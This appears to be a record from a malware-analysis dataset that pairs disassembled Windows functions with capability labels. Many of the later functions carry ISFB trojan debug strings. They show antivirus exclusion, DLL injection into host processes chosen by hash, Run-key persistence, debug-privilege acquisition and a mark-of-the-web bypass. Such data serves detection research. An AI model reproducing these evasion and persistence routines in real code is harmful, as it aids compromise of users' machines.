joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb58250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xb6c808
push 0xb5c288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xb58329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xb58329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00b5b1d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xb58329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xb58329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xb5832c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00b58351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb58d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb58d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xb58d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb58d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xb58d94
push eax
push esi
call fcn.00b5b20b
add esp, 8
pop esi
ret 0x10

Function at 0xb58da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb58e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xb58e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xb71320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b5adff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xb58dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xb58e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb58ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xb58eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xb71320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b5adff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xb58eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xb58e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xb59000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xb59131
push esi
call fcn.00b5c145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00b4b080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xb59131
push 0
push ebp
call fcn.00b4b3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00b4b260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xb5908b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00b4b2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xb59121
push 0xb71918
push edi
call fcn.00b5a3f0
push eax
push ebx
push esi
call fcn.00b58f60
push 0xb718f8
push edi
call fcn.00b5a3f0
push eax
push ebx
push esi
call fcn.00b58f60
push 0xb718d8
push edi
call fcn.00b5a3f0
push eax
push ebx
push esi
call fcn.00b58f60
push 0xb718c0
push edi
call fcn.00b5a3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00b58f60
push 0xb718a0
push edi
call fcn.00b5a3f0
push eax
push ebx
push esi
call fcn.00b58f60
push 0xb71888
push edi
call fcn.00b5a3f0
push eax
push ebx
push esi
call fcn.00b58f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xb5a1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00b5a140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00b5a140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00b5a140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00b5a140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xb5abfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb5ac50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xb6c87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xb5ac43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xb5ac52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Print debug messages
Set registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
xor edi, edi
test byte [0x40c88c], 1
je 0x401017
mov edi, 0x100
mov ebx, dword [sym.imp.SHLWAPI.dll_StrChrA]
lea eax, [esp + 0x10]
push eax
mov eax, edi
or eax, 0x20019
push eax
push 0
push 0x5c
push dword [esp + 0x38]
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
inc eax
push eax
push 0x80000002
call ebp
mov esi, eax
xor eax, eax
cmp esi, eax
jne 0x40111b
push eax
push eax
lea ecx, [esp + 0x24]
push ecx
push eax
push eax
push 4
push 4
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_GetSecurityInfo]
mov esi, eax
test esi, esi
jne 0x401111
push dword [esp + 0x10]
call fcn.004053cf
mov esi, eax
test esi, esi
jne 0x401111
lea eax, [esp + 0x14]
push eax
or edi, 0x2001f
push edi
push esi
push 0x5c
push dword [esp + 0x38]
call ebx
inc eax
push eax
push 0x80000002
call ebp
test eax, eax
jne 0x4010cd
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push esi
push dword [esp + 0x34]
mov dword [esp + 0x2c], esi
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4010fa
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push str.ISFB:_Unable_to_open_a_key_to_write_it_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor esi, esi
push esi
push dword [esp + 0x20]
push esi
push esi
push 4
push 4
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov esi, eax
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov edi, eax
push str.ISFB:_MsseAddExclusion___done_with_status__u_n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x401154
Capabilities:
Print debug messages

Disassembly:
push ebx
push esi
push 0x40d439
push edi
call section..text
mov esi, eax
test esi, esi
je 0x40118d
push 0x40d3fc
push edi
call section..text
mov esi, eax
test esi, esi
jne 0x4011ba
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push str.ISFB:_File___s__excluded_from_Defender_check_paths._n
jmp 0x4011a0
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push str.ISFB:_File___s__excluded_from_MSSE_check_paths._n
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop esi
pop ebx
ret
Function at 0x4011e0
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
xor eax, eax
xor esi, esi
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x208
stosd dword es:[edi], eax
call fcn.004013ab
mov ebx, eax
cmp ebx, esi
mov dword [ebp - 0x10], ebx
je 0x40129f
push esi
push ebx
push 0x104
push 0x73
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
je 0x40129f
lea eax, [ebp - 0x20]
push eax
call fcn.00406b3f
mov edi, eax
cmp edi, esi
jne 0x40129a
call dword [sym.imp.USER32.dll_GetShellWindow]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 8]
push ecx
push eax
call fcn.00406be6
mov edi, eax
cmp edi, esi
jne 0x40129a
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp - 8]
mov dword [ebp - 4], esi
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
cmp dword [ebp + 8], esi
mov ebx, dword [ebp - 4]
je 0x40126f
push esi
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
push ebx
call sub.gdiplus.dll_GdipSaveImageToFile
push dword [ebp - 0xc]
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call sub.gdiplus.dll_GdipDisposeImage
cmp edi, esi
mov ebx, dword [ebp - 0x10]
jne 0x40129a
push 2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp + 8]
call fcn.004011bf
mov edi, eax
cmp edi, 0xffffffff
jne 0x4012a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, esi
je 0x4012c0
cmp ebx, esi
je 0x4012b5
push ebx
call fcn.004013c0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4012c5
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4012ce
Capabilities:
Accept command line arguments
Print debug messages
Terminate process

Disassembly:
sub esp, 0x74
push ebx
push ebp
push esi
push edi
and dword [esp + 0x10], 0
push 0x1b
pop ecx
mov esi, str.01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x100000
movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x40
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push eax
push str.ISFB:_Started_as_win32_process_0x_x_n
push esi
call ebp
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push str.dump
push 0x6f
lea eax, [esp + 0x1c]
call fcn.00406844
push 0
push 0x400000
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
test eax, eax
mov dword [0x40c800], eax
je 0x401376
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x40c894], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call fcn.00402825
push dword [0x40c800]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0x100000
push 0x40
call edi
push dword [esp + 0x10]
mov edi, eax
call ebx
push eax
push str.ISFB:_Process_0x_x_finished_with_status__u_n
push edi
call ebp
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401665
Capabilities:
Enumerate processes
Hash data with crc32
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
push 0x124
lea eax, [ebp - 0x12c]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0
push 2
mov dword [ebp - 0x130], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x40179e
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
jmp 0x40178d
mov eax, dword [ebp - 0x128]
cmp eax, dword [0x40c884]
je 0x40177e
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.ntdll.dll__strupr]
pop ecx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea ecx, [ebp - 0x10c]
or edi, 0xffffffff
jmp 0x401712
movsx edx, byte [ecx]
push 8
dec esi
inc ecx
pop eax
mov ebx, edx
xor ebx, edi
shr edi, 1
test bl, 1
je 0x40170d
xor edi, 0xedb88320
shr edx, 1
dec eax
jne 0x4016fc
test esi, esi
jne 0x4016f4
mov eax, dword [0x40c8cc]
xor eax, edi
cmp eax, 0x2cc1b933
je 0x401740
cmp eax, 0x43cefb0e
je 0x401740
cmp eax, 0xedac26c7
je 0x401740
cmp eax, 0x1896c5c8
je 0x401740
cmp eax, 0xa3bf3777
jne 0x40177e
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x10c]
push eax
push str.ISFB:_Injecting_Client_DLL_to_a_predefined_host_process__s_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x128]
call fcn.00404177
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4016ba
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a5a
Capabilities:
Bypass mark of the web
Copy file
Delete file
Get common file path
Print debug messages

Disassembly:
push ecx
push ecx
mov eax, dword [0x40c89c]
push ebx
mov ebx, dword [0x40ca48]
push esi
push edi
push ebx
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x115
push 0
push dword [0x40c800]
mov edi, eax
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x401b9e
push ebp
mov ebp, 0x104
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [eax + edi + 2]
cmp eax, ebp
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
ja 0x401ad3
push ebx
push esi
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
je 0x401ad3
or dword [0x40c88c], 2
jmp 0x401b4c
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [esp + 0x14]
lea eax, [eax + ecx + 2]
cmp eax, ebp
ja 0x401afd
push ebx
push esi
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x401aca
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [esp + 0x14]
lea eax, [eax + ecx + 1]
cmp eax, ebp
ja 0x401b27
push ebx
push esi
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x401b4c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push esi
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x401b4c
push esi
push eax
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
test esi, esi
pop ebp
je 0x401b9e
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov edi, eax
push str.ISFB:_The_installer_saved_as___s__n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x40d0ae
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [edi + esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
pop ecx
ret
Function at 0x401ba6
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
test byte [ebp + 8], 8
push esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], 1
mov eax, 0x200
je 0x401bca
mov eax, 0x100
mov esi, dword [0x40c89c]
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x401c82
push edi
lea ecx, [ebp - 4]
push ecx
or eax, 0xf003f
push eax
push ebx
push 0x40d024
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
jne 0x401c6f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
push dword [0x40c800]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x401c63
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [0x40ca40]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401c59
push dword [ebp - 8]
mov eax, dword [ebp + 8]
push esi
mov byte [esi + eax - 1], bl
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401c59
mov dword [ebp - 0xc], 1
push esi
push ebx
push dword [0x40c800]
call edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 8]
cmp esi, dword [0x40c89c]
je 0x401c81
push esi
push ebx
push dword [0x40c800]
call edi
pop edi
mov eax, dword [ebp - 0xc]
pop esi
pop ebx
leave
ret 4
Function at 0x4025e2
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
lea eax, [ebp - 4]
push eax
push dword [0x40c814]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402649
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov esi, 0x40d122
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402640
cmp dword [ebp - 8], 0x28
jne 0x402640
and dword [ebp - 0x34], eax
push 0x28
lea eax, [ebp - 0x34]
push eax
push 3
push 0
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x40271a
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
xor esi, esi
push 0x38
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 0x3c], esi
call sub.ntdll.dll_memset
add esp, 0xc
push 2
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x236f
call fcn.00406eb2
mov ebx, eax
cmp ebx, esi
je 0x4027aa
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
cmp eax, esi
je 0x402766
push 0x40d3b9
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
push dword [0x40c89c]
mov esi, eax
add esi, esi
call edi
lea eax, [eax + esi + 0x1f]
push eax
call fcn.004013ab
mov esi, eax
test esi, esi
pop edi
je 0x4027a4
push ebx
push ebx
push dword [0x40c89c]
push 0x40d3dd
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push ebx
call fcn.004013c0
test esi, esi
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x30], 0x40d3cf
je 0x4027c5
mov dword [ebp - 0x2c], 0x40d3d5
jmp 0x4027cd
mov eax, dword [0x40c89c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x4027d0
test esi, esi
je 0x4027e8
push esi
call fcn.004013c0
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ISFB:_Shell_Execute_complete__status__u_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
pop ebx
leave
ret